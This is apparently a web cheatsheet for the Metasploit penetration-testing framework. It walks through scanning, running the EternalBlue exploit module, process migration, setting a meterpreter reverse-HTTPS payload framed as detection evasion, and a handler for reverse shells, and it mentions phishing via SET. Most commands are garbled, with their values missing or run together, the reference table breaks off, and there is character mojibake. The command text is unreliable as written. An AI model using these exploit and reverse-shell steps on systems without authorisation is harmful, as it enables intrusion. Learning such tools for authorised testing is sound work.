π Security Tool Cheatsheet
Alex Morgan — Senior Penetration Tester
What is Metasploit?
Metasploit is a powerful penetration testing framework that allows security professionals to find, exploit, and validate vulnerabilities in systems. It’s widely used for both offensive security and vulnerability assessments.
Installation
To install Metasploit, follow these steps based on your operating system:
- Linux: You can install Metasploit using the package manager:
sudo apt install metasploit-framework - Windows: Download the Metasploit installer from the official site and follow the installation wizard.
- macOS: Use Homebrew:
brew install metasploit
Basic Syntax
The basic command to start Metasploit is:
msfconsole
Discovery
Use discovery tools to identify potential targets and gather information about vulnerable systems.
Use Command:
use auxiliary/scanner/portscan/tcp set RHOSTSrun
Scanning
Scanning involves probing the target to identify services and versions running on them.
Service Scanning:
use auxiliary/scanner/http/http_version set RHOSTSrun
Exploitation
The crux of any penetration test is to exploit the found vulnerabilities.
Example Command:
use exploit/windows/smb/ms17_010_eternalblue set RHOSTset LHOST runs
Analysis
After running exploits, analyze the result for further actions.
Post-Exploitation:
use post/windows/manage/migrate set PIDrun
Evasion
Using methods to avoid detection is crucial during assessments.
Example Commands:
set PAYLOAD windows/meterpreter/reverse_https set LHOSTset LPORT run
Reporting
Document your findings and remediation steps.
Generate Report:
db_export -f xml -a -o report.xml
Quick Reference Table
| Command | Description |
|---|---|
| msfconsole | Launch the Metasploit Framework console. |
| use auxiliary/scanner/portscan/tcp | Scan for open TCP ports. |
| set RHOST |
Set the target IP address. |
Pro Tips
- Always use
db_nmapfor integrated scanning. - Leverage
use exploit/multi/handlerto listen for reverse shells. - Use
sessions -ito interact with shells.
Real-World Examples
Hereβre a few scenarios where Metasploit shines:
- Web Application Testing: Use Metasploit’s web exploits for OWASP vulnerabilities.
- Network Pen Testing: Use Metasploit in conjunction with network scanners for comprehensive assessments.
- Social Engineering: Combine with tools like SET for phishing attacks.